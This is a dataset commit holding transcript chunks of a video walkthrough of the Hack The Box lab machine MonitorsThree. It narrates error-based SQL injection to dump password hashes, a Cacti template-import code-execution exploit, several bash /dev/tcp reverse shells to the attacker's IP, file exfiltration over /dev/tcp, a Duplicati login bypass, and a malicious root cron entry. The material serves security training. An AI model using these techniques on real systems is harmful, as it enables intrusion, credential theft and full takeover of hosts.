k3nn3dy commited on
Commit
be7b60b
·
verified ·
1 Parent(s): 9998a89

Add HackTheBox_-_MonitorsThree.jsonl

Browse files
Files changed (1) hide show
  1. HackTheBox_-_MonitorsThree.jsonl +41 -0
HackTheBox_-_MonitorsThree.jsonl ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {"text": "what's going on YouTube this is IPC and today we'll be doing monitors 3 from hack the box which starts off with an SQL injection that forgot password feature of the website but since the field doesn't reflect any data back to the user Union injection isn't really going to be beneficial here I think most people just use SQL map which will default the Boolean injection which is relatively slow and you don't learn that much by just throwing SQL map at it so we'll be doing it manually but taking advantage of the fact that it reflects the error messages back to you so we can use error injection to craft a SQL query that will put the data we want in an error message after doing this we can extract all the hashes from the database get some credentials and log into a cacti instance which enables us to exploit a cve that lets us write PHP", "start": 0.24, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
2
+ {"text": "files when importing a template this gets a shell in the box and we discover duplicati is running on it and that has a weird login process we'll look at the issues on GitHub find a way to do a off bypass by reading the server passphrase on the um server and that gets us in and then we can just um create a backup job to back up a malicious Chron tab entry and then restore it getting a shell on the box so with that being said let's just jump in as always we're going to start off with an end map so- SC for default scripts SV enumerate versions - VV for double verose this gives us things like the TTL OA output all formats by the end map directory and call it monitors 3 then the IP address of 10101 11.30 this can take some time to run so I've already ran it looking at the results we have just two ports open the first one being SSH on Port 22 and", "start": 41.719, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
3
+ {"text": "the banner tells us it's a Ubuntu Server we also have HTTP on Port 80 it's Barett tells us it's engine X also running on Ubuntu and the HTTP title um and map script tells us it's redirecting to monitors 3. htb so let's go ahead and add this to a h m stud V Etsy host and then we can add 101 1130 monitors 3. htb save that and let's see nothing really interesting there then we also have Port 8084 is filtered and with the filter means is this port is behaving unlike like Port 80 and let's say 81 or anything else that doesn't respond here so all the ports that aren't listening most likely are sending a TCP reject when we send the sin and that tells us the port's not open right Port 8084 isn't sending us the Sendak back or the reject it's just eating the packets most likely or maybe everything's eating the", "start": 89.479, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
4
+ {"text": "packets and 8884 is sending the reject but standard behavior on Linux is to send a reject message when you connect to a port that isn't listening so this dropping it probably means there's a firewall rule in place for Port 884 and maybe that is listening for a different IP address Local Host things like that um not really important right now just something to keep in mind so let's go ahead and take a look at the um website so we'll do HTTP monitors 3. htb and I think I added this in my host file uh we have to turn end Maps proxy intercept off and we get the page we have the best monitoring solution U so the very first thing I like doing is looking at the source code and glancing if I recognize any HTML maybe I see like a wp- that re says it's WordPress but this nothing really sticks out so the", "start": 141.76, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
5
+ {"text": "next thing I look for is links on the page and I see login.php so I know this is going to be a PHP website if I was doing a durust I would add a-x PHP so it just um also looks for PHP scripts I'm going to um do a virtual host brout Force because we do know the domain is monitors 3. htb so I always like starting off with the vhost because it's much quicker so I'll do gobster Vost dasu mons 3 we'll do opt SEC list um Discovery DNS subdomains top million 5,000. text and then we'll specify the out file of V host. out and we'll just let that run while we look at other things so let's see scrolling at the page I don't really see anything too much we have a potential email address here we look at login um we have log into account so we could try like admin admin and we get invalid credentials um we could try a", "start": 191.92, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
6
+ {"text": "username that probably doesn't exist so I'll do like IPC password and I'm just looking at this error message to see if it changes um it does not so we can't enumerate valid usernames from this if we go to forgot passwords we can try like admin and it says it sent the password request if we try a different username it says unable to process request so this is a way we can enumerate Valu users so if we wanted to we could copy this request over to a tool like FFF or W fuzz and then fuzz it and get a list of all the users on the website but before I do that I like fuzzing the parameter a little bit if I put a single quote here we do see there is a SQL error so we know we have SQL injection right here uh we could do a single quote then a comment and that gets rid of it we could try for injection so we could do like Union", "start": 252.68, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
7
+ {"text": "select one and we get the statement has a different number of columns so we want to know how many columns this has um to do this I normally don't use unions I always go with order bu because it's just a bit quicker and easier so we do order by one it works and then if we do order by let's say 99 it's going to fail here right because there's not 99 things it's ordering by so the first Field's probably going to be ID the second Field's probably going to be like username uh Third Field maybe like email password something like that we don't need to know the name we just need to know how many it is so we can get our Union injection working right so I'm going to go ahead and send this over to burp Suite because it's a bit easier to um work with in the repeater tab it does go to a 302 found which is a bit", "start": 302.28, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
8
+ {"text": "annoying you could collect the follow redirect or do it automatically in just a second I like just copying something from around the data I want to look at but putting it here and then we change this to autoc scroll so whenever we make a request um oh I have to go back real quick there we go we actually send the data and we have this 32 found I can click on the gear in the top left and then we go to follow redirects always and now when I send this it's going to follow that redirect go down and we can see this so here we just want to increment this until we see it doesn't successfully submit the password request um at nine it's getting a lot of fields so it's probably a select star but there's no 10th column in this so we know there's probably going to be nine Fields so we could do the union injection now so we", "start": 350.6, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
9
+ {"text": "do Union Select 1 2 3 4 5 6 789 and the issue we have is it's not um reflecting any of the data in any of these columns back to us so even though it sent the password request like we did this Union injection none of these fields send data so Union isn't really going to help us all that much right um even if we give it an invalid username nothing happens right so we can't extract data from a union injection we could do um like a bullion injection and extract things one character at a time but that is going to be so timec consuming that's something that's better left for like SQL map if you wanted to we could send this over to SQL map so we just go with like a star here and that's going to tell SQL map to to fuzz that parameter or test that parameter not fuzz uh copy the file let's do um forgot password. request save that", "start": 400.319, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
10
+ {"text": "we can go here and the vhost scan discovered one subdomain that is Cati so let's real quick add this to our um host file so let's do cy. monitors 3. HTP there we go um um so if we do less on this I just want to make sure it copied correctly we can do SQL map um- request forgot password then we want to specify D- batch so it just automatically goes through everything and I've got it saved so let's just remove this directory real quick and it's going to run through SQL map so what you saw before is I've done this box previously and s map had saved all the results so it didn't have to do any testing but I'm not actually going to use SC map because there is a quicker way we can do this manually and that is through error injection right so if we have a SQL error so I'm just going to leave this at admin and then single quote we can see um unable to oh it's", "start": 462.759, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
11
+ {"text": "probably because it's using like SQL Maps loading the database enough where all the queries are failing that is annoying um that is something we do come across so I'm going to kill SQL map you could run it I know this works um there we go so we get connection failed syntax error um we get an error message so we can craft an error message that's going to um return what we want to see so we will do a um and and then the common thing we use is extract value and this is just a um weird um function in SQL in myql that lets us cause errors I don't know the exact purpose it's something to do with like X path right if we do extract value my SQL uh we have to turn intercept back off you can see what this is um it's something to do with like XML stuff I don't actually know the purpose of it I just know I always use it with my error based injections right so we'll do", "start": 533.08, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
12
+ {"text": "extract value and then you always want to do concat and then put a like value that is um non-compatible here we'll show why later on when we're doing this but um this definitely makes the injection much more reliable starting it with a invalid character so we do that concat and then we can do anything we want so I'm going to do a um select IPC here just to test it out so we do three parentheses to close it and then a comment and you can see syntax error IPC right so this is where we can actually get stuff out of the database so if I wanted to let's go with the information schema table so we'll do information schema my SQL it's been a while since we've had to do manual SQL injection but it's relatively straightforward I always have to go back to these tables for references to see exactly how it works the first table I like doing is the schemata because this", "start": 604.279, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
13
+ {"text": "going to give me the database name so we can do schema name so we'll do select schema name from information schema.", "start": 664.399, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
14
+ {"text": "scheme Ma and then I'm going to do a limit one so it's going to get me the very first one and no um shock it's information schema if we just do limit two we returned more than one row so I'm going to do a comma one so this is going to be um 01 gives me the very first entry 1 one gives me the second entry and 2 one um errors out so there's only two tables here and this column is how many rows to return right so if I do two we get that error again so at 1 one we know the database is montrous 3 DB so I'm going to say um where SCH ma is equal to this I think the the name's actually not going to be schemata in the next thing we do so let's look at the tables um views nope not the views table the tables table uh we want table schema that's what the thing is so we do table schema is equal to monitor three um this", "start": 675.079, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
15
+ {"text": "is is it table is a table um tables and we want the table name so the first uh table we have that's the second one the first one is going to be invoices then we have customers then change log tasks invoice tasks users so we probably want the users table right because our goal right now is extracting um credentials so we'll do where table schemas is equal to that and table name is equal to users and then you can guess we're going to go to the coln table next and I'm going to guess it's column name from information schema let's just try this first if not then we'll go back to the docs and see so ID is the first one then we have username email password name position date of birth uh start date probably end date salary and then nine won get anything so we probably want the username and password right username password there so I'm going to send this to a new pane just because I always like keeping this", "start": 738.839, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
16
+ {"text": "one here with information schema so we'll call this infos schema and this will be data right so we can get rid of this complex thing and we can just say select we'll do username from users limit 01 like that right that looks good to me we'll have to redo our redirect follow so follow redirects always send it scroll down first user is going to be admin that's no shock grab this and then we're going to say the auto scroll there we go so we have admin then D Thompson I guess we should save all these so let's go V users. text uh we'll do V cs. text D Thompson admin I'm going to do Poland the next one is Jay Anderson then we have let's see M Watson and do we have any more four nothing so we have those three users or four users I should say now let's get the password so I'm going to do select password from users and we have dot dot dot because", "start": 817.16, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
17
+ {"text": "the X path is limited to 32 characters and this is most likely going to be 32 but we added one character right here so um I'm actually going to show why that um z a comes in handy now CU this is a good spot to do that so we'll do um Auto scroll autof follow so if I got rid of this conat right so we can get rid of that get rid of one quote here we can see we get the full hash so this is the full hash of the admin user there there we go so let's go to the second user unable to process go to the next one we have this so we can add this hash then let's go for the next one so what happened here is um the extract value query did not fail for D Thompson and that's why we just get the unable to process request this is what happens when um we have an invalid username so maybe the password is blank or maybe for some reason the hash just doesn't cause this extract value to", "start": 909.04, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
18
+ {"text": "error that's why we're always putting the concat beforehand right because putting the invalid character means extract values always going to fail so if we try to change this to one we get majority of the hash but we're missing the last character right so what we do in this state um like portion or state whatever is we use the substring command so we can do a select and we'll say substring password and then we're going to get the first character let's go all the way to uh um we'll do character 20 we could probably go up to like character 31 right but we're going to get the first 20 characters so we can put this here and then I'm going to say let's go for character um 21 to 40 get the next 20 and then grab this and paste so now we have the full password hash right so we could do d like that and we have a list of all the hashes so since these are just 32", "start": 985.48, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
19
+ {"text": "characters I'm going to guess they're md5 sums so I'm not even going to bother using hashut I'm just going to go to crack station right so let's CER creds and then going to do a a on the field separator of colon print two to get the second one and now we have a list of all the md5 sums we can copy this then let's go to crack station and attempt to crack this we put this here I guess we're not attempting to crack we're attempting to look up right um after we verify we're not a bot by selecting all the buses uh come on that's a light there's a bus okay TR hashes and unrecognized hash format on two of these I think maybe we pasted it wrong let's see admin Echo dncc 30 characters um what am I not getting huh let's go back let's go here Z1 what am I doing wrong there password Z 31a I guess the X path just isn't showing me the 31", "start": 1056.4, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
20
+ {"text": "character that is bizar and then this doesn't Okay um so we do 120 we got up to da let's just grab this um so I guess data validation is important uh that's not it 120 grab this paste okay now let's grab 21 to 40 copy that and paste we did D Thompson let's just do the next that looks good let's see I think J Anderson's good M Watson's not so that would be 01 2 3 so if we go three grabb the first set then we can grab the second set okay so hopefully all of these let's do a or i n Echo dasn I WCC done we've got to do um this one hash is missing one um I don't think the hash is important if I was doing this box for the first time obviously I would go and fix that but I don't need to waste a couple of your minutes just making sure everything's perfect yeah one um is missing a character that's fine send this we'll delete the bad hash", "start": 1165.679, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
21
+ {"text": "I'm not a robot crack and 31a is green Cati 2001 so let's go in our creds and we have a password there so we can go back to the login so if we go back here um it was login.php we can go admin and then put that password and we get logged into this interface now clicking around we do view statement um we're not sending anything it just went back to the dashboard so this looks like it's very like static right if I turn this on intercept mode we change these things there's no save button so even if there was I'm interacting with the database still so nothing really is going on here we can go to invoices and what I'd be looking for here is a way to like print an invoice because then I'm going to a PDF process or something like that but there's nothing there so right now we don't have any functionality that's not using in the database so it's like even if we found a exploit here it doesn't give us", "start": 1283.32, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
22
+ {"text": "anything right maybe uh we could try changing the number of column um results we show and get another SQL injection but again um what do we get with that right nothing we could look at the change log but nothing really here the only thing we could really do potentially is revisit the um SQL injection and maybe like uh select load file is it load underscore file I think and and then Etsy passwd or something like that unable to process so yeah that's an error so we can't really even extract um files because we probably don't have that permission right so there was doing our V her scan um a C.M monitors 3. hdb and our password was green Cati 2001 right so that kind of um points us to going over this host um I thought I had it my host file sudo VY host maybe I typed it so let's go ahead and paste this yep I did khaki not", "start": 1350.919, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
23
+ {"text": "cacti refresh burp Suite has my DNS cache so I'm going to disable it and then hopefully by the time I need it again um the DNS of cache will be um undone we have the version of cacti so we can Google this real quick quick if we Google hati1 1226 exploit go over to Google we have an rce vulnerability and looks like everything is pointing to this rce right and they're talking about it it looks like it happens when you're importing a template so we have some PHP code here that's going to creat a template but we have to log in first so let's go ahead and try the credentials we got um where is is the login right here admin and then I think it was green cacti 2006 maybe 2001 2001 is what we had and then where did it say to go let's close some of these tabs there we go um import export import packages so let's go import packages and", "start": 1423.2, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
24
+ {"text": "then we going to create a file so I'm going to copy there PC and I'm going to do V um we'll call this cacti PHP paste and you may think right away oh we just edit the system command but this is running on our box and we're going to create this test.xml Dogz file right so I'm actually going to get rid of this RM so we can look at the test.xml just to see what it looks like but it's going to put this PHP info in file data which probably goes right here right and it's creating the file resource test.php I'm going to call this um shell. PHP just so we can see that changes um let's go run a system command and then we'll do a let's do single quote then I'm going to do Echo let's create a reverse shell real quick um b-i Dev TCP 10 10 148 9,1 Zer and one base 64 w0 and we can copy this and I like just doing this in base", "start": 1491.2, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
25
+ {"text": "64 because we can get rid of so many bad characters doing it this way um and most systems will have Bas 64 on it right so we can do system with that command and see lvmp 901 so we're listening and if we run this file it now gave us the file we upload here but if I look get test.xml this is just what um cacti uses to import right I don't know the public key signature but that's what the file looks like in the gzip so let's go over to the console select a file um let's go to htb this box name is monitors 3 specify the gz file you can see it's going to upload to cacti resources or resources shell. PHP so let's do import it has been successful so let's go to this page because we can see we don't have a shell yet hit the page and magically we do so now we have a shell on the box let's just do python 3-c import PTY PTY spawn bin", "start": 1565.52, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
26
+ {"text": "bash CU we want to upgrade a shell to be slightly better stty raw minus Echo foreground enter enter and then we can clear the screen after we do export term is equal to X term there we go so let's see the very first thing I always like doing is um dumping the database right we already dumped all the uh users on the um main web page but cacti probably has its own database so let's see is there like a config.php find. grap config yep include catc config.php uh let's see r-i user so we have cacti user and let's do uh let's see we'll g-i database uncore because we see that's what it's being used for um let's see password is cacti user okay so we can do my SQL D cacti user- P put the same thing in and um show databases use cacti show tables and then we can do uh let's start with the describe user that table let's see user", "start": 1640.96, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
27
+ {"text": "uncore off probably okay so we probably just care about username and password right so we'll do select username password password from uh user o and there we go so we have three credentials so let's just grab these and we're going to format them on our box so I'm going to V cacti do users call it. text uh let's get rid of all spaces and then replace the um height character with Aon oh god um I'll do that manually I think I forgot to escape the pipe or something like that okay so there we go we have a list of um users like this so we can go over to hashcat and I always like running hashcat on a separate box but you can run r on your host the reason why I do it a separate box is I'm recording the video and hashcat could make me like Drop frames and do things like that so I always keep that separated so I'm going to do vhes I'm going to call this um monitors 3 paste this and then we can", "start": 1727.44, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
28
+ {"text": "doat um hash is monitors 3 we have to specify we spe gave it usernames and we'll do opt word list Rock um it's just Das user there we go with the user flag does it tells it we gave it um a hash file that has username Cole and password right we have multiple hatches met match we'll do mode 3200 have a typo there there we go and now it's going to start cracking um hopefully it doesn't take too long we'll see if we get any results quickly um let's see it's initializing the devices and we have started and right off the bat we have one that cracked right 1 2 3 4 5 6 Seven 8 N9 10 so I'm going to actually quit this we don't have to run for everything I probably would if I was doing the Box the first time but I just want to show if you have the users flag in you can do the dash dash show in hashcat uh we have to also", "start": 1815.279, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
29
+ {"text": "specify the format hashcat will um give you the user name and the password so we know Marcus's password was this right so we could go V creds um we'll do Marcus and then the password and I guess I should have specified like where these came from um main website DB this will be cacti DB I probably should have put the hashes in this but oh well uh we have Marcus and if we go back to a shell we do cat Etsy pass WD I like stepping for everything that ends in sh because that's going to be shells Marcus does have an account so we could try SSH Marcus at 10 10 11 30 and permission denied let's try su- Marcus and then 1 2 3 4 5 6 7 8 9 10 and we get logged in and I don't think you actually need Marcus to do this box um it's a good like save point and also you get your SSH which makes you do allow you to do like the reverse shell a bit not reverse shell um port forwarding a", "start": 1876.6, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
30
+ {"text": "bit easier which we'll do in a minute um but if you didn't ever find Marcus's password you probably use chisel and still complete the box right so if we look at ID RSA let's just get this back over to our box and then we'll use this SSH key to log in because I'm guessing SSH is configured to prevent password so that's why it denied us right away but if I do mercus do um I'll call it forget what the SSH extension is we'll just call it what I did SSH CH mod 600 oh probably pem I should probably Marcus I think pem is the common format Marcus pem Marcus at 10 10 1130 and there we go we get logged in so the most common way to prives is always just exploring a process that's running as a different user and the easiest way to find that normally is with like a PS command you can look at all the processes but it looks like um hide pit is configured on this so we can only", "start": 1952.799, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
31
+ {"text": "look at processes owned by us you can verify that by like catting Etsy fstab and grapping for probably hide you can see proc is mounted with hide pit equals 2 so we can't look at processes running from other users but we can uh do SS lntp and look at ports that are open right and we see Port 8084 this is the one that was on our end map way at the beginning of the box if we go back to the end map results we can see that is filtered we see it's listening on all host so there's probably an IP tables rule blocking us uh we could probably do Etsy um IP tables rules. V4 and let's see we see where's 8084 that's a Docker one let's see grap 80 uh we can see it is configured to drop and then we also allow local host to access it so um the reason why I did the uh file here because if we do IP tables DL that requires permissions but most of the time the default configuration for the U persistent file", "start": 2014.76, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
32
+ {"text": "is actually open surprisingly um probably shouldn't be but there you go you can see anyone can read this file so whenever I go and look at the firewall and normally look at that uh if we look at rules V6 actually I wonder if this is a thing right um there are no rules here SS lntp are we listening I don't think it's listening on um it's only listing on ipv4 so I was wondering if we had IPv6 that we found the address if we could still access it but it does not look like that's the case um let's double check that real quick let's see IPv6 address there is none right um actually we may need ip- 6 address address- 6 it's- 6 address right I don't think IPv6 is configured on this box so that's why we can't access it okay so um let's Ford Port what was it 8084 let's do that SSL ntp 8084 so I'm going to hit enter and", "start": 2080.8, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
33
+ {"text": "before I hit after I hit enter I'm going to do squiggly C but if the very first thing on the line s h um will hide it and drop you into this menu and I'm going to forward let's do 8084 12701 8084 okay and now on my local box if I go Local Host 8084 it should go through my SSH tunnel and go to the other end I'm going to try 1271 um 12718 so that just hangs let's try 8200 okay so it looks like um 884 may not be a web Port but 8200 is so let's go ahead and now for that Port so we'll do the same thing- L 8200 1271 8200 and let's try 8200 and there we go uh duplicati and it wants a password so we probably want to find every file that has duplicati in the name so I'm going to do find slash uh- name one of this is case sensitive I'm going do lowercase first star and then hide error messages so so to devn and we'll see if we have any files here", "start": 2154.72, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
34
+ {"text": "uh we have backups we have a Etsy Chron and we have an opt directory so if we go opt duplicati uh config and then we have a SQL light database um we don't have SQL light on this box so I'm going to copy it over to my box and then we can dump the database so let's do NCL lvmp 901 direct that to duplic . SQL light and then I'm just going to C this file and then pipe it over to Dev TCP 101148 90001 that's going to send the file we going do SQL light 3 duplicati dump and let's see do we have any like passwords uh we have server pass phrase pass Salt try icon we look at this um let's do Echo base 64d I don't think that's going to be the passphrase right we could try pasting the sin to see if it is copy paste sign in unauthorized so at this point we should find any like vulnerabilities and a good way to do that also um we could go and just Google", "start": 2252.92, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
35
+ {"text": "search it but I'm guessing we'll definitely find it with that um at the time of doing the box I think the way was looking at GitHub so that's why I'm going to show it this way um let's see I'm going to search for like bypass to see if we have anything uh not working remove bypass duplicati login using DB server passphrase and the odd thing is um this environment info is actually wrong I think it leaks what version do plati is running if not we can find it from the files on the box but a later version is I think it's 208 um I think they were just off by one version here but not really that important it's talking about how it does the login it's a little bit weird um we look at it it sends like the encrypted value back so let's look at this login process real quick um intercept on go here repati login", "start": 2336.0, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
36
+ {"text": "we'll do password we want to intercept this so when I click sign in it makes the request to get kns and then I'm going to intercept the response to this file so we do do intercept response and that sends us this data back so we got the non the Sal then we send a encrypted form of the password right and I guess if it passes that then it just mag magally works so we have all the secrets so we can pass that crypto chest and that's what this um blog post is saying uh where is it this one right here so we got it um grab the server passphrase we're going to open up burp Suite go to duplicati login enter any password intercept and we want to analy nonsense all so let's do this again so I'm going to turn intercept on and then we're going to do please subscribe intercept and then we want to intercept the response to this request we have the nons and salt", "start": 2398.92, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
37
+ {"text": "so let's go and dump again uh SQL light three duplicati dump l s let's see what are the values here we go so we the sort XTF y ends in 0i XD fy0 I so the salt is the same and then what the blog post wants us to do we verified it is convert the server pass Rays from base 64 to hex so let's go ahead and grab this passphrase again and we going to convert this to hex so I'm going to do Echo this we want to do probably- n b 64- d xxd and then we'll do A- p and then we'll grab both of these there's probably a way to put this all in one line but sure enough to do it manually there we go and how does it want us to do this so convert it from base 64 hex open and then salted wants us to do stuff in JavaScript so let's go F12 console Tab and then verse salted password paste that grab this back off our box copy", "start": 2471.0, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
38
+ {"text": "paste okay make this bigger so we created The Salted password then it wants us to do the non password we'll grab this paste and let's see um we need to do the non from burp I'm surprised they don't use cryptojs and just have us do The Salted password that way as we probably don't need to like manly create the hex format we could just use JavaScript to do it like they're doing here so we already got salted password okay we do non PWD non and it tells us to put this back in the value so there we go right yep and now I think the password we just forward right forward and modify the password parameter with the non PWD you're all encoding it oh shoot I screwed up um I wanted to do the last one I didn't want to modify the nons in the last one I don't think let's see it looks like it still worked okay so I guess I did it correctly", "start": 2567.559, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
39
+ {"text": "um okay there we go we get logged in and then here we just have to um find a way to get like code execution on the box and if we look at this if we go to restore we can restore from a backup and then we tell it where the storage see I'm just looking at exactly how this works app duplicati did that exist here hold on uh let's see where's my SSH there it is there is no app so I'm guessing right now um duplicati is running in a Docker container because there's directories here that don't exist if I go to the source directory then we're in a different thing and this is probably where Mount yeah so we have op duplicati so we're probably in a Docker here um the parent file systems the docker one then the mounting the docker um with the host file system and let's see we can change where we want the backup location to be go next", "start": 2684.359, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
40
+ {"text": "um I don't know the encryption password for that so I can't go forward let's just add a backup real quick so we going to configure a new one let's call this I'll call it rce I'm going to disable the encryption so we don't have to type that password every time and then we're going to specify source home we can specify anywhere let's just do marks real quick and we're going to backup files and we're going to restore a malicious file and I'm going to um copy Etsy cron tab over here and we're going to restore a malicious cron tab because this is the easy way to get code execution right so we're going to run every minute as root and then we're going to do bash d c bash dasi Dev TCP 10148 9,10 and one like that okay n cvnp 90001 so we're listening okay so we back up that up uh Source data let's try this", "start": 2787.24, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}
41
+ {"text": "again see Source home Marcus uh we can run the backup yeah anytime save it so we have our backup I'm going to click run now there we go we have it ran I'm going to go to restore um direct restore from backup file oh let's specify the actual file we'll specify rce this is easier to do and then what file do we want to restore I'm going to restore the cron Tab and then we're going to pick a location the folder path so let's go to browse real quick um where source and then Etsy there we go that's the folder we want to we'll overwrite if it exists restore restoring complete so if I now cat see crr tab we can see ours has been placed if I do date we can see it was a new minute right when I did that and we got a shell as route so that's going to be the Box hope you guys enjoyed it take care and I will see you all next time", "start": 2867.559, "duration": 0.0, "meta": {"video_id": "4y2gp_GTBqQ", "title": "HackTheBox - MonitorsThree", "url": "https://www.youtube.com/watch?v=4y2gp_GTBqQ"}}